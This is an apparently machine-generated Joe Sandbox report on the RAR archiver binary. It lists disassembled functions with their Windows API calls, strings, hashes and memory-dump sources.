Part of subcall function 00007FF6EE753458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6EE76413F,?,?,?,?,00000800,00000000,00000000,00007FF6EE7638CB,?,?,?,00007FF6EE7641EC), ref: 00007FF6EE7534D5

Strings

WinRAR, xrefs: 00007FF6EE76410F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: ddf412577455636cf5ab89a58f0508af55176e0aee4bf2c55b6f8afcea9d3f67
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: 6A218013A08B4240EF549F22E8402BA5360BFA9BD4F061031EF0E87359EE7ED465C605

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE751C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF6EE7521A7,00000000,00000028,?,00007FF6EE747792), ref: 00007FF6EE751C97
ReadFile.KERNELBASE ref: 00007FF6EE751CB6
GetLastError.KERNEL32 ref: 00007FF6EE751CEA
GetLastError.KERNEL32 ref: 00007FF6EE751D08

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
Instruction ID: c28c70115258fe0063e39958251d96c60a06b5380c9f175159cabc126695bd5c
Opcode Fuzzy Hash: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
Instruction Fuzzy Hash: 0021C923E08E5681EF604B21E40033963A2BF61B96F114535F95DC76C8CEAFD869C74B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7449F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

AFUM, xrefs: 00007FF6EE744B8C
default.sfx, xrefs: 00007FF6EE744AB0

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: 8db3729fc002ad16cdd6164b235cac3b3ee7842daebcfd9cde3d85edd15308f2
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: 4781A823A0C69240FF609B11D5003B92292AF71745F464032FA8D876C5EFAF94E6D71E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7965BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6EE79662E
GetFileType.KERNELBASE ref: 00007FF6EE796644

Strings

@, xrefs: 00007FF6EE79666F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: 735a6455fa25cab6461c4565f355508bde57c4efe5e33d97fc3f6ca264ea0ce4
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: 71210863A0C74240EF648B64F4902392651EF65730F271335E6AE873D8CE7BD4A1D30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6EE77B9F8
SetThreadPriority.KERNEL32 ref: 00007FF6EE77BA4E

Part of subcall function 00007FF6EE74CDA4: wcschr.LIBVCRUNTIME ref: 00007FF6EE74CE0F
Part of subcall function 00007FF6EE74CDA4: wcschr.LIBVCRUNTIME ref: 00007FF6EE74CE22

Part of subcall function 00007FF6EE74CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE74CEDE

Strings

CreateThread failed, xrefs: 00007FF6EE77BA06

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: 76d2dd972fbd17215d3734ddfafb87c7d6c74aa86692e99998c419cc9926f63e
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: 5C11E633A08A4182EF00EB10E8443B97361FFA4785F414032F69D87259EFBEE566C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77BB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF6EE77BB79), ref: 00007FF6EE77BBB9
SetEvent.KERNEL32 ref: 00007FF6EE77BBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF6EE77BBD8

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: 49c18a7351887f78b2af0996d13230958d8e53e49d0d658d08e445b0beceace5
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: 3EF0D623608B4282DF209F21F5442B86762FF98B99F050130EE8D472ADDF6ED525CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE747B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF6EE747A9E), ref: 00007FF6EE747B4A
GetFileType.KERNELBASE(?,?,?,00007FF6EE747A9E), ref: 00007FF6EE747B56
GetConsoleMode.KERNEL32(?,?,?,00007FF6EE747A9E), ref: 00007FF6EE747B69

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: d1afb25d53700e0b3d74b1a271afb26cdd842bc665dd9414817be7cfd0c1dd70
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: D8E0C226F0460343FF584725E86533802519F69B81F411038F80FCE354EEAED4A6C306

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE792488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6EE79246C), ref: 00007FF6EE7924B0
TerminateProcess.KERNEL32(?,?,?,00007FF6EE79246C), ref: 00007FF6EE7924BB
ExitProcess.KERNEL32 ref: 00007FF6EE7924CA

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: 6b72018191fd94e87d0cd5b57ffee079c68c64d29d90ffaae58c8999b34bc76d
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: 57E01221A0874582EF44AB60E84137523526F64741F025838EC0E823A6CEBFE82DC356

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE754044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF6EE754255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF6EE736CD9), ref: 00007FF6EE75447C

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: fcc6bb39599084807c43192b89aab19ff5ae85cc802a468cbb490d5049967146
Instruction ID: 3bcadf87c08e8c456ed9aca1f38098b88b44267830d5b071144b09da04dd5246
Opcode Fuzzy Hash: fcc6bb39599084807c43192b89aab19ff5ae85cc802a468cbb490d5049967146
Instruction Fuzzy Hash: BAE1E923A1868281EF708B24D4002BD67A1FB61794F454131FB9E876D9EFBED4A6C706

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE751AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF6EE747EBE,00000000,00000000,00000000,00000000,00000007,00007FF6EE747C48), ref: 00007FF6EE751B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF6EE747EBE,00000000,00000000,00000000,00000000,00000007,00007FF6EE747C48), ref: 00007FF6EE751BD7

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: bd729412673db7ee726e849c702a079c5e18e902225f3b593bac9fb452f482a2
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: C6314D63A18A8546FB709F10D4053693690FB61779F114334EDAC876C5EFBEC4A5C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE73681C Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6EE7368AE
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE7368BF

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction ID: 3fa69aed82d5fa82d01ed9666f59c717562e314bfb3db32dacc59f0aed787517
Opcode Fuzzy Hash: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction Fuzzy Hash: 3D219353918E8582DB41CF29E1411B86360FBACB88B15A321EF4D42656EF69E5F5C301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE76915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6EE7691CA
new.LIBCMT ref: 00007FF6EE7691F2

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f6026273c0a9246411fc6740a6753b01b0e10de163d24a49de1b808aba71c52
Instruction ID: a462e5f141b21f10b8aa9ceeac9576eed0a37bc161bd39435a8d9637af55f04b
Opcode Fuzzy Hash: 4f6026273c0a9246411fc6740a6753b01b0e10de163d24a49de1b808aba71c52
Instruction Fuzzy Hash: F911B43250AB8281EF409B54E9003A973A4EF64794F250234F69D473E6DEBDD422C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7520B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF6EE7522EE), ref: 00007FF6EE75211B
GetLastError.KERNEL32(?,?,?,00007FF6EE7522EE), ref: 00007FF6EE752126

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: a6247db48d1824a1a6f55e67ffa0895ba418555e62e11e119ea6da1e22a60160
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: CC010222A1D6C542EF644B66E40023E6262EF74BA0F265630FA2D83BD4CE6EE455C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE747A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF6EE747A7B

Part of subcall function 00007FF6EE792AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE797EF3

setbuf.LIBCMT ref: 00007FF6EE747A8F

Part of subcall function 00007FF6EE747B44: GetStdHandle.KERNEL32(?,?,?,00007FF6EE747A9E), ref: 00007FF6EE747B4A
